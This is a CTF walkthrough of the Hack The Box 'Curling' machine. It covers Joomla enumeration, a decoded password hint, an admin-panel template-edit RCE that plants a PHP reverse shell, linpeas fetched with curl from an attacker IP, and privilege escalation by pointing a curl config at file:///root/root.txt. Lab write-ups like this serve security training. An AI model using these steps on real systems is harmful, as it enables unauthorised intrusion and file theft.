CTF··5 min read

HTB Curling: Joomla RCE to Curl Config File Abuse

Joomla RCE - Admin Panel Takeover

For another Joomla-specific foothold, this time beginning with information disclosure, compare HTB Devvortex: From Joomla Info Disclosure to Root.

Curl Config File Abuse for Privilege Escalation

Begin with binding machine IP to custom domain.

/etc/hosts entry binding the Curling target IP to a custom domain

Conduct port scanning sudo nmap -sV -sC curling.htb

Nmap service and script scan output for the Curling target

Let's check Joomla:

Web application discovery output for the Curling target

There were nothing valuable in this page. I also conducted a port scan with --script=vuln NSE engine.

sudo nmap -sV --script=vuln --max-rate=10000 curling.htb

It reveals some potentially interesting directories & version number of Joomla which is 3.8.8.

Joomla CMS version 3.8.8 detected on the Curling web server

I iterated multiple fuzzing attempts ,yet no juicy information available except the administrator endpoint here is what kind of tools & commands I ran so far.

gobuster dir -u http://curling.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-files.txt

gobuster dir -u http://curling.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt

gobuster dir -u http://curling.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-small-files.txt

gobuster dir -u http://curling.htb -w /usr/share/wordlists/dirb/big.txt

gobuster dir -u http://curling.htb -w /usr/share/wordlists/dirb/common.txt

gobuster dir -u http://curling.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

Furthermore, I applied also -r parameter to fuzz deeply. After a couple of minutes belonging with source code analysis I decided to search for patterns like password hint. However, still did not find anything ,but after I analyzed patiently I found that last line includes secret.txt as hint.

Clue or hint found in the Curling web page source

Q3VybGluZzIwMTgh a txt includes such thing like a password. Then I wanted also push this to Cyberchef ->

Directory or file listing discovered during Curling enumeration

This sounds like a pass: Curling2018! ,yet username ?

One of the posts mentions about curling and 2018 strings then I saw floris at the end of the thread message.

Curling-related hint mentioning 2018 and the floris username

I tried Floris:Curling2018! and logged as superadmin according to the right side of the side.

Terminal output revealing the floris password hint

Since I was able to sign in directly here. What about using through admin login page.

It works !

Successful SSH login as user floris on Curling

Initially, it will be appropriate to use github exploit just because more accessible and direct solution. Plus, it requires authenticated user ,so lets move on it.

GitHub exploit page for Joomla RCE used against Curling

Direct run was not possible. Therefore, the best useful way is that create your virtual environment via python -m venv venv then install requirements line by line.

pip install requests
pip install lxml
pip install log_colors

Now usage is easy just to follow the guideline:

Joomla RCE exploit usage instructions output

The script stucks ,so I manually reach the endpoint where shell payload executed.

/administrator/index.php?option=com_templates&view=template&id=503&file=L2pzc3RyaW5ncy5waHA=

Joomla template editor URL used for the RCE exploit

Generic PentestMonkey works just because application running on PHP on backend side ,but at this time I'll use reverse shell generator's payload.

Start to invoke listener ->

penelope -p 1234

I used Ivan Sencek's payload:

Save and execute PHP script through template preview option which runs server side script.

Joomla admin panel template editing option for server-side code

You must get floris account to get user flag and I discovered a file called password_backup then including weird things.

Terminal output showing the injected server-side payload

I searched for BZh91AY and identified such pattern in overthewire challenge.

Challenge

Let's use ->

xxd -r data > binary
ls  binary  data

target machine has /usr/bin/xxd binary.

I got permission error on while I was working on floris user then moved tmp directory.

Discovered directory on the Curling target

The challenge suggested that identify the file type ->

File type identification output for a Curling artifact
bunzip2 binary or bzip2 -d binary

We have to go further ->

Encoded file contents requiring further decoding

Now I was dealing with gzip format.

Decoded data revealing the next clue in the Curling challenge
mv binary.out binary.gz
gunzip binary.gz
Another decoded file revealing a password or hint
mv binary binary2.bz2
bunzip2 binary2.bz2 or bzip2 -d binary2.bz2
Hex or base64 decoded output from the Curling challenge
tar -xf binary2
cat password.txt
5d<wdCbdZu)|hChXll

Now this is the most probably password for SSH of floris.

Gotcha ! ! !

Discovered password or secret leading to the next stage

I checked for local privilege escalation vector via sudo -l.

Terminal output showing SSH access or file contents

It did not work.

I did not find anything valuable on admin-area directory ,so lets start linpeas.

curl http://10.10.15.57:1212/linpeas.sh -o linpeas.sh

did not useful.

Somehow, admin-area directory includes interesting file formats regarding to the root path.

Interesting file formats found in the Joomla admin area

It points out the localhost then report includes the parsed page.

Parsed page output revealing the curl configuration hint

lets check to parse the page via curl:

curl config file contents on the Curling target

Observe that parsing results point out the same pages.

I began to find a way to point to the target machine files to read root flag.

I found a bug bounty report including the usage for these types of purposes:

Report

Try them ->

Testing curl config file locations for the privilege escalation

Alter the content of the input file as below:

url = "file:///root/root.txt"

then read the root flag from cat report

Report file contents read with cat on the Curling box
Root flag captured via curl config file abuse

Related Posts